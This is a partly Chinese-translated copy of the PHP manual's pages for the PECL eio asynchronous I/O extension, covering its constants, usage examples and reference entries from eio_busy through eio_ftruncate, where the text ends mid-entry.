安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/eio.

For information about manual installation, please read the file INSTALL included in the package.

User Contributed Notes

There are no user contributed notes for this page.


资源类型

There are two resource types in this extension: request and request group.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

Request priority constants:

EIO_PRI_MIN (int)
Request minimal prioriry
EIO_PRI_DEFAULT (int)
Request default prioriry
EIO_PRI_MAX (int)
Request maximal prioriry

eio_seek() whence argument:

EIO_SEEK_SET (int)
The offset is set to specified number of bytes(offset).
EIO_SEEK_CUR (int)
The offset is set to its current location plus offset bytes.
EIO_SEEK_END (int)
The offset is set to the size of the file plus offset bytes.

Flags used with eio_readdir():

EIO_READDIR_DENTS (int)
eio_readdir() flag. If specified, the result argument of the callback becomes an array with the following keys: 'names' - array of directory names 'dents' - array of struct eio_dirent-like arrays having the following keys each: 'name' - the directory name; 'type' - one of EIO_DT_* constants; 'inode' - the inode number, if available, otherwise unspecified;
EIO_READDIR_DIRS_FIRST (int)
When this flag is specified, the names will be returned in an order where likely directories come first, in optimal stat order.
EIO_READDIR_STAT_ORDER (int)
When this flag is specified, then the names will be returned in an order suitable for stat'ing each one. When planning to stat() all files in the given directory, the returned order will likely be fastest.
EIO_READDIR_FOUND_UNKNOWN (int)
EIO_DT_UNKNOWN (int)
Unknown node type(very common). Further stat() needed.
EIO_DT_FIFO (int)
FIFO node type
EIO_DT_CHR (int)
Node type
EIO_DT_MPC (int)
Multiplexed char device (v7+coherent) node type
EIO_DT_DIR (int)
Directory node type
EIO_DT_NAM (int)
Xenix special named file node type
EIO_DT_BLK (int)
Node type
EIO_DT_MPB (int)
Multiplexed block device (v7+coherent)
EIO_DT_REG (int)
Node type
EIO_DT_NWK (int)
EIO_DT_CMP (int)
HP-UX network special node type
EIO_DT_LNK (int)
Link node type
EIO_DT_SOCK (int)
Socket node type
EIO_DT_DOOR (int)
Solaris door node type
EIO_DT_WHT (int)
Node type
EIO_DT_MAX (int)
Highest node type value

Access modes for eio_open() flags argument:

EIO_O_RDONLY (int)
EIO_O_WRONLY (int)
EIO_O_RDWR (int)
EIO_O_NONBLOCK (int)
EIO_O_APPEND (int)
EIO_O_CREAT (int)
EIO_O_TRUNC (int)
EIO_O_EXCL (int)
EIO_O_FSYNC (int)

mode argument flags for eio_open():

EIO_S_IRUSR (int)
EIO_S_IWUSR (int)
EIO_S_IXUSR (int)
EIO_S_IRGRP (int)
EIO_S_IWGRP (int)
EIO_S_IXGRP (int)
EIO_S_IROTH (int)
EIO_S_IWOTH (int)
EIO_S_IXOTH (int)
EIO_S_IFREG (int)
EIO_S_IFCHR (int)
EIO_S_IFBLK (int)
EIO_S_IFIFO (int)
EIO_S_IFSOCK (int)

eio_sync_file_range() flags:

EIO_SYNC_FILE_RANGE_WAIT_BEFORE (int)
EIO_SYNC_FILE_RANGE_WRITE (int)
EIO_SYNC_FILE_RANGE_WAIT_AFTER (int)

eio_fallocate() flags:

EIO_FALLOC_FL_KEEP_SIZE (int)

Note:

EIO_S_I* constants have the same meaning as their S_I* POSIX counterparts.

Note:

EIO_SYNC_FILE_* constants have the same meaning as their SYNC_FILE_** counterparts.

Note:

EIO_O_* constants have the same meaning as their O_* POSIX counterparts.

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Cancelling a request

<?php
/* Is called when eio_nop() finished */
function my_nop_cb($data, $result) {
echo "my_nop ", $data, "\n";
}

// This eio_nop() call will be cancelled
$req = eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "1");
var_dump($req);
eio_cancel($req);

// This time eio_nop() will be processed
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "2");

// Process requests
eio_event_loop();
?>

以上示例的输出类似于：

resource(4) of type (EIO Request Descriptor)
my_nop 2

Example #2 Calling eio_chmod()

<?php
$temp_filename = dirname(__FILE__) ."/eio-temp-file.tmp";
touch($temp_filename);

/* Is called when eio_chmod() finished */
function my_chmod_callback($data, $result) {
global $temp_filename;

if ($result == 0 && !is_readable($temp_filename) && is_writable($temp_filename)) {
echo "eio_chmod_ok";
}

@unlink($temp_filename);
}

eio_chmod($temp_filename, 0200, EIO_PRI_DEFAULT, "my_chmod_callback");
eio_event_loop();
?>

以上示例的输出类似于：

eio_chmod_ok

Example #3 Making a custom request

<?php
/* Callback for the custom callback */
function my_custom_callback($data, $result) {
var_dump($data);
var_dump(count($result));
var_dump($result['data_modified']);
var_dump($result['result']);
}

/* The custom request */
function my_custom($data) {
var_dump($data);

$result = array(
'result' => 1001,
'data_modified' => "my custom data",
);

return $result;
}

$data = "my_custom_data";
$req = eio_custom("my_custom", EIO_PRI_DEFAULT, "my_custom_callback", $data);
var_dump($req);
eio_event_loop();
?>

以上示例的输出类似于：

resource(4) of type (EIO Request Descriptor)
string(14) "my_custom_data"
string(14) "my_custom_data"
int(2)
string(14) "my custom data"
int(1001)

Example #4 Grouping requests

<?php
/*
* Create a group request to open, read and close a file
*/

$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);

/* Is called when the group requests are done */
function my_grp_done($data, $result) {
global $temp_filename;
var_dump($result == 0);
@unlink($temp_filename);
}

/* Is called when eio_open() done */
function my_grp_file_opened_callback($data, $result) {
global $my_file_fd, $grp;

$my_file_fd = $result;

var_dump($result > 0);

// Create eio_read() request and add it to the group
$req = eio_read($my_file_fd, 4, 0, EIO_PRI_DEFAULT, "my_grp_file_read_callback");
eio_grp_add($grp, $req);
}

/* Is called when eio_read() done */
function my_grp_file_read_callback($data, $result) {
global $my_file_fd, $grp;

var_dump($result);

// Create eio_close() request and add it to the group
$req = eio_close($my_file_fd);
eio_grp_add($grp, $req);
}

$grp = eio_grp("my_grp_done", "my_grp_data");

// Create eio_open() request and add it to the group
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);
eio_grp_add($grp, $req);
var_dump($grp);

eio_event_loop();
?>

以上示例的输出类似于：

resource(6) of type (EIO Group Descriptor)
bool(true)
string(4) "some"
bool(true)

Example #5 Using eio with libevent extension

<?php
function my_eio_poll($fd, $events, $arg) {
/* Some libevent regulation might go here .. */
if (eio_nreqs()) {
eio_poll();
}
/* .. and here */
}

function my_nop_cb($d, $r) {
var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

$fd = eio_get_event_stream();
var_dump($fd);

eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
/* some other eio_* calls here ... */

// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// set event base
event_base_set($event, $base);

// enable event
event_add($event);

// start event loop
event_base_loop($base);

/* The same will be available via buffered libevent interface */
?>

以上示例的输出类似于：

int(3)
int(0)
string(8) "nop data"
int(0)
string(10) "mkdir data"

Example #6 Using eio with event extension

<?php
$base = new EventBase();

// Retrieve eio polling stream.
// Note, this variable should be alive as long as the event loop is running.
$eio_stream = eio_get_event_stream();

// Bind eio polling stream to the event loop.
$poll_event = new Event($base, $eio_stream, Event::READ, function () {
if (eio_nreqs()) {
eio_poll();
}
});
$poll_event->add();

// Add eio jobs
eio_nop(EIO_PRI_DEFAULT, function () {
echo "eio_nop\n";
});

// Add events
$timer = Event::timer($base, function () {
echo "2 seconds elapsed\n";
});
$timer->add(2);

// Dispatch events.
$base->dispatch();
?>

以上示例的输出类似于：

eio_nop
2 seconds elapsed

User Contributed Notes

There are no user contributed notes for this page.


Eio 函数

Table of Contents

  • eio_busy — Artificially increase load. Could be useful in tests, benchmarking
  • eio_cancel — Cancels a request
  • eio_chmod — Change file/directory permissions
  • eio_chown — Change file/directory permissions
  • eio_close — Close file
  • eio_custom — Execute custom request like any other eio_* call
  • eio_dup2 — Duplicate a file descriptor
  • eio_event_loop — Polls libeio until all requests proceeded
  • eio_fallocate — Allows the caller to directly manipulate the allocated disk space for a file
  • eio_fchmod — Change file permissions
  • eio_fchown — Change file ownership
  • eio_fdatasync — Synchronize a file's in-core state with storage device
  • eio_fstat — Get file status
  • eio_fstatvfs — Get file system statistics
  • eio_fsync — Synchronize a file's in-core state with storage device
  • eio_ftruncate — Truncate a file
  • eio_futime — Change file last access and modification times
  • eio_get_event_stream — Get stream representing a variable used in internal communications with libeio
  • eio_get_last_error — Returns string describing the last error associated with a request resource
  • eio_grp_add — Adds a request to the request group
  • eio_grp_cancel — Cancels a request group
  • eio_grp_limit — Set group limit
  • eio_grp — Creates a request group
  • eio_init — (Re-)initialize Eio
  • eio_link — Create a hardlink for file
  • eio_lstat — Get file status
  • eio_mkdir — Create directory
  • eio_mknod — Create a special or ordinary file
  • eio_nop — Does nothing, except go through the whole request cycle
  • eio_npending — Returns number of finished, but unhandled requests
  • eio_nready — Returns number of not-yet handled requests
  • eio_nreqs — Returns number of requests to be processed
  • eio_nthreads — Returns number of threads currently in use
  • eio_open — Opens a file
  • eio_poll — Can be to be called whenever there are pending requests that need finishing
  • eio_read — Read from a file descriptor at given offset
  • eio_readahead — Perform file readahead into page cache
  • eio_readdir — Reads through a whole directory
  • eio_readlink — Read value of a symbolic link
  • eio_realpath — Get the canonicalized absolute pathname
  • eio_rename — Change the name or location of a file
  • eio_rmdir — Remove a directory
  • eio_seek — Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence
  • eio_sendfile — Transfer data between file descriptors
  • eio_set_max_idle — Set maximum number of idle threads
  • eio_set_max_parallel — Set maximum parallel threads
  • eio_set_max_poll_reqs — Set maximum number of requests processed in a poll
  • eio_set_max_poll_time — Set maximum poll time
  • eio_set_min_parallel — Set minimum parallel thread number
  • eio_stat — Get file status
  • eio_statvfs — Get file system statistics
  • eio_symlink — Create a symbolic link
  • eio_sync_file_range — Sync a file segment with disk
  • eio_sync — Commit buffer cache to disk
  • eio_syncfs — Calls Linux' syncfs syscall, if available
  • eio_truncate — Truncate a file
  • eio_unlink — Delete a name and possibly the file it refers to
  • eio_utime — Change file last access and modification times
  • eio_write — Write to file

User Contributed Notes

There are no user contributed notes for this page.


Artificially increase load. Could be useful in tests, benchmarking

  • ? Eio 函数
  • eio_cancel ?
  • PHP Manual
  • Eio 函数
  • Artificially increase load. Could be useful in tests, benchmarking

eio_busy

(PECL eio >= 0.0.1dev)

eio_busy — Artificially increase load. Could be useful in tests, benchmarking

说明

eio_busy(
int $delay,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_busy() artificially increases load taking delay seconds to execute. May be used for debugging, or benchmarking.

参数

delay

Delay in seconds

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

This callback is called when all the group requests are done.

data

Arbitrary variable passed to callback.

返回值

eio_busy() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_nop() - Does nothing, except go through the whole request cycle

User Contributed Notes

There are no user contributed notes for this page.


Cancels a request

  • ? eio_busy
  • eio_chmod ?
  • PHP Manual
  • Eio 函数
  • Cancels a request

eio_cancel

(PECL eio >= 0.0.1dev)

eio_cancel — Cancels a request

说明

eio_cancel(resource $req): void

eio_cancel() cancels a request specified by req

参数

req

The request resource

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

没有返回值。

示例

Example #1 eio_cancel() example

<?php
/* Is called when eio_nop() finished */
function my_nop_cb($data, $result) {
echo "my_nop ", $data, "\n";
}

// This eio_nop() call will be cancelled
$req = eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "1");
var_dump($req);
eio_cancel($req);

// This time eio_nop() will be processed
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "2");

// Process requests
eio_event_loop();
?>

以上示例的输出类似于：

resource(4) of type (EIO Request Descriptor)
my_nop 2

参见

  • eio_grp_cancel() - Cancels a request group

User Contributed Notes

There are no user contributed notes for this page.


Change file/directory permissions

  • ? eio_cancel
  • eio_chown ?
  • PHP Manual
  • Eio 函数
  • Change file/directory permissions

eio_chmod

(PECL eio >= 0.0.1dev)

eio_chmod — Change file/directory permissions

说明

eio_chmod(
string $path,
int $mode,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_chmod() changes file, or directory permissions. The new permissions are specified by mode.

参数

path

Path to the target file or directory

Warning

避免相对路径。

mode

The new permissions. E.g. 0644.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_chmod() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_chown() - Change file/directory permissions

User Contributed Notes

There are no user contributed notes for this page.


Change file/directory permissions

  • ? eio_chmod
  • eio_close ?
  • PHP Manual
  • Eio 函数
  • Change file/directory permissions

eio_chown

(PECL eio >= 0.0.1dev)

eio_chown — Change file/directory permissions

说明

eio_chown(
string $path,
int $uid,
int $gid = -1,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

Changes file, or directory permissions.

参数

path

Path to file or directory.

Warning

避免相对路径。

uid

User ID. Is ignored when equal to -1.

gid

Group ID. Is ignored when equal to -1.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_chown() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_chmod() - Change file/directory permissions

User Contributed Notes

There are no user contributed notes for this page.


Close file

  • ? eio_chown
  • eio_custom ?
  • PHP Manual
  • Eio 函数
  • Close file

eio_close

(PECL eio >= 0.0.1dev)

eio_close — Close file

说明

eio_close(
mixed $fd,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_close() closes file specified by fd.

参数

fd

Stream, Socket resource, or numeric file descriptor

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_close() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_open() - Opens a file

User Contributed Notes

There are no user contributed notes for this page.


Execute custom request like any other eio_* call

  • ? eio_close
  • eio_dup2 ?
  • PHP Manual
  • Eio 函数
  • Execute custom request like any other eio_* call

eio_custom

(PECL eio >= 0.0.1dev)

eio_custom — Execute custom request like any other eio_* call

说明

eio_custom(
callable $execute,
int $pri,
callable $callback,
mixed $data = NULL
): resource

eio_custom() executes custom function specified by execute processing it just like any other eio_* call.

参数

execute

Specifies the request function that should match the following prototype:

      mixed execute(mixed data);
callback is event completion callback that should match the following prototype:
      void callback(mixed data, mixed result);
data is the data passed to execute via data argument without modifications result value returned by execute

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_custom() returns request resource on success, 或者在失败时返回 false.

示例

Example #1 eio_custom() example

<?php
/* Callback for the custom callback */
function my_custom_callback($data, $result) {
var_dump($data);
var_dump(count($result));
var_dump($result['data_modified']);
var_dump($result['result']);
}

/* The custom request */
function my_custom($data) {
var_dump($data);

$result = array(
'result' => 1001,
'data_modified' => "my custom data",
);

return $result;
}

$data = "my_custom_data";
$req = eio_custom("my_custom", EIO_PRI_DEFAULT, "my_custom_callback", $data);
var_dump($req);
eio_event_loop();
?>

以上示例的输出类似于：

resource(4) of type (EIO Request Descriptor)
string(14) "my_custom_data"
string(14) "my_custom_data"
int(2)
string(14) "my custom data"
int(1001)

User Contributed Notes

There are no user contributed notes for this page.


Duplicate a file descriptor

  • ? eio_custom
  • eio_event_loop ?
  • PHP Manual
  • Eio 函数
  • Duplicate a file descriptor

eio_dup2

(PECL eio >= 0.0.1dev)

eio_dup2 — Duplicate a file descriptor

说明

eio_dup2(
mixed $fd,
mixed $fd2,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_dup2() duplicates file descriptor.

参数

fd

Source stream, Socket resource, or numeric file descriptor

fd2

Target stream, Socket resource, or numeric file descriptor

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_dup2() returns request resource on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Polls libeio until all requests proceeded

  • ? eio_dup2
  • eio_fallocate ?
  • PHP Manual
  • Eio 函数
  • Polls libeio until all requests proceeded

eio_event_loop

(PECL eio >= 0.0.1dev)

eio_event_loop — Polls libeio until all requests proceeded

说明

eio_event_loop(): bool

eio_event_loop() polls libeio until all requests proceeded.

参数

此函数没有参数。

返回值

eio_event_loop() returns true on success, 或者在失败时返回 false.

示例

Example #1 eio_event_loop() example

<?php
$temp_filename = "eio-temp-file.tmp";
touch($temp_filename);

/* Is called when eio_chmod() finished */
function my_chmod_callback($data, $result) {
global $temp_filename;

if ($result == 0 && !is_readable($temp_filename) && is_writable($temp_filename)) {
echo "eio_chmod_ok";
}

@unlink($temp_filename);
}

eio_chmod($temp_filename, 0200, EIO_PRI_DEFAULT, "my_chmod_callback");
eio_event_loop();
?>

以上示例的输出类似于：

eio_chmod_ok

参见

  • eio_poll() - Can be to be called whenever there are pending requests that need finishing

User Contributed Notes

There are no user contributed notes for this page.


Allows the caller to directly manipulate the allocated disk space for a file

  • ? eio_event_loop
  • eio_fchmod ?
  • PHP Manual
  • Eio 函数
  • Allows the caller to directly manipulate the allocated disk space for a file

eio_fallocate

(PECL eio >= 0.0.1dev)

eio_fallocate — Allows the caller to directly manipulate the allocated disk space for a file

说明

eio_fallocate(
mixed $fd,
int $mode,
int $offset,
int $length,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_fallocate() allows the caller to directly manipulate the allocated disk space for the file specified by fd file descriptor for the byte range starting at offset and continuing for length bytes.

Note: File should be opened for writing

EIO_O_CREAT should be logically OR'd with EIO_O_WRONLY, or EIO_O_RDWR

参数

fd

Stream, Socket resource, or numeric file descriptor, e.g. returned by eio_open().

mode

Currently only one flag is supported for mode: EIO_FALLOC_FL_KEEP_SIZE (the same as POSIX constant FALLOC_FL_KEEP_SIZE).

offset

Specifies start of the byte range.

length

Specifies length the byte range.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_fallocate() returns request resource on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Change file permissions

  • ? eio_fallocate
  • eio_fchown ?
  • PHP Manual
  • Eio 函数
  • Change file permissions

eio_fchmod

(PECL eio >= 0.0.1dev)

eio_fchmod — Change file permissions

说明

eio_fchmod(
mixed $fd,
int $mode,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_fchmod() changes permissions for the file specified by fd file descriptor.

参数

fd

Stream, Socket resource, or numeric file descriptor, e.g. returned by eio_open().

mode

The new permissions. E.g. 0644.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_fchmod() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_fchown() - Change file ownership

User Contributed Notes

There are no user contributed notes for this page.


Change file ownership

  • ? eio_fchmod
  • eio_fdatasync ?
  • PHP Manual
  • Eio 函数
  • Change file ownership

eio_fchown

(PECL eio >= 0.0.1dev)

eio_fchown — Change file ownership

说明

eio_fchown(
mixed $fd,
int $uid,
int $gid = -1,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_fchown() changes ownership of the file specified by fd file descriptor.

参数

fd

Stream, Socket resource, or numeric file descriptor.

uid

User ID. Is ignored when equal to -1.

gid

Group ID. Is ignored when equal to -1.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_chmod() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_fchmod() - Change file permissions

User Contributed Notes

There are no user contributed notes for this page.


Synchronize a file's in-core state with storage device

  • ? eio_fchown
  • eio_fstat ?
  • PHP Manual
  • Eio 函数
  • Synchronize a file's in-core state with storage device

eio_fdatasync

(PECL eio >= 0.0.1dev)

eio_fdatasync — Synchronize a file's in-core state with storage device

说明

eio_fdatasync(
mixed $fd,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_fdatasync() synchronizes a file's in-core state with storage device.

参数

fd

Stream, Socket resource, or numeric file descriptor, e.g. returned by eio_open().

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_fdatasync() returns request resource on success, 或者在失败时返回 false.

User Contributed Notes

There are no user contributed notes for this page.


Get file status

  • ? eio_fdatasync
  • eio_fstatvfs ?
  • PHP Manual
  • Eio 函数
  • Get file status

eio_fstat

(PECL eio >= 0.0.1dev)

eio_fstat — Get file status

说明

eio_fstat(
mixed $fd,
int $pri,
callable $callback,
mixed $data = ?
): resource

eio_fstat() returns file status information in result argument of callback

参数

fd

Stream, Socket resource, or numeric file descriptor.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_busy() returns request resource on success, 或者在失败时返回 false.

示例

Example #1 eio_lstat() example

<?php
// Create temporary file
$tmp_filename = dirname(__FILE__) ."/eio-file.tmp";
touch($tmp_filename);

/* Is called when eio_fstat() done */
function my_res_cb($data, $result) {
// Should output array with stat info
var_dump($result);

if ($data['fd']) {
// Close temporary file
eio_close($data['fd']);
eio_event_loop();
}
// Remove temporary file
@unlink($data['file']);
}

/* Is called when eio_open() done */
function my_open_cb($data, $result) {
// Prepare data for callback
$d = array(
'fd' => $result,
'file'=> $data
);
// Request stat info
eio_fstat($result, EIO_PRI_DEFAULT, "my_res_cb", $d);
// Process request(s)
eio_event_loop();
}

// Open temporary file
eio_open($tmp_filename, EIO_O_RDONLY, NULL, EIO_PRI_DEFAULT,
"my_open_cb", $tmp_filename);
eio_event_loop();
?>

以上示例的输出类似于：

array(12) {
 ["st_dev"]=>
  int(2050)
  ["st_ino"]=>
  int(2489159)
  ["st_mode"]=>
  int(33188)
  ["st_nlink"]=>
  int(1)
  ["st_uid"]=>
  int(1000)
  ["st_gid"]=>
  int(100)
  ["st_rdev"]=>
  int(0)
  ["st_blksize"]=>
  int(4096)
  ["st_blocks"]=>
  int(0)
  ["st_atime"]=>
  int(1318239506)
  ["st_mtime"]=>
  int(1318239506)
  ["st_ctime"]=>
  int(1318239506)
}

参见

  • eio_lstat() - Get file status
  • eio_stat() - Get file status

User Contributed Notes

There are no user contributed notes for this page.


Get file system statistics

  • ? eio_fstat
  • eio_fsync ?
  • PHP Manual
  • Eio 函数
  • Get file system statistics

eio_fstatvfs

(PECL eio >= 0.0.1dev)

eio_fstatvfs — Get file system statistics

说明

eio_fstatvfs(
mixed $fd,
int $pri,
callable $callback,
mixed $data = ?
): resource

eio_fstatvfs() returns file system statistics in result of callback.

参数

fd

A file descriptor of a file within the mounted file system.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_fstatvfs() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_statvfs() - Get file system statistics

User Contributed Notes

There are no user contributed notes for this page.


Synchronize a file's in-core state with storage device

  • ? eio_fstatvfs
  • eio_ftruncate ?
  • PHP Manual
  • Eio 函数
  • Synchronize a file's in-core state with storage device

eio_fsync

(PECL eio >= 0.0.1dev)

eio_fsync — Synchronize a file's in-core state with storage device

说明

eio_fsync(
mixed $fd,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

Synchronize a file's in-core state with storage device

参数

fd

Stream, Socket resource, or numeric file descriptor.

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

eio_fsync() returns request resource on success, 或者在失败时返回 false.

参见

  • eio_sync() - Commit buffer cache to disk

User Contributed Notes

There are no user contributed notes for this page.


Truncate a file

  • ? eio_fsync
  • eio_futime ?
  • PHP Manual
  • Eio 函数
  • Truncate a file

eio_ftruncate

(PECL eio >= 0.0.1dev)

eio_ftruncate — Truncate a file

说明

eio_ftruncate(
mixed $fd,
int $offset = 0,
int $pri = EIO_PRI_DEFAULT,
callable $callback = NULL,
mixed $data = NULL
): resource

eio_ftruncate() causes a regular file referenced by fd file descriptor to be truncated to precisely length bytes.

参数

fd

Stream, Socket resource, or numeric file descriptor.

offset

Offset from beginning of the file

pri

请求的优先级：EIO_PRI_DEFAULT，EIO_PRI_MIN，EIO_PRI_MAX 或 null。如果是 null，pri 将设为 EIO_PRI_DEFAULT。

callback

callback 函数在请求完成时被调用。其应匹配一下原型：

void callback(mixed $data, int $result[, resource $req]);
data

传递给请求的用户数据。

result

针对请求的结果的值。通常是相应的系统调用返回的值。

req

可选的请求资源，可被 eio_get_last_error() 之类的函数使用。

data

Arbitrary variable passed to callback.

返回值

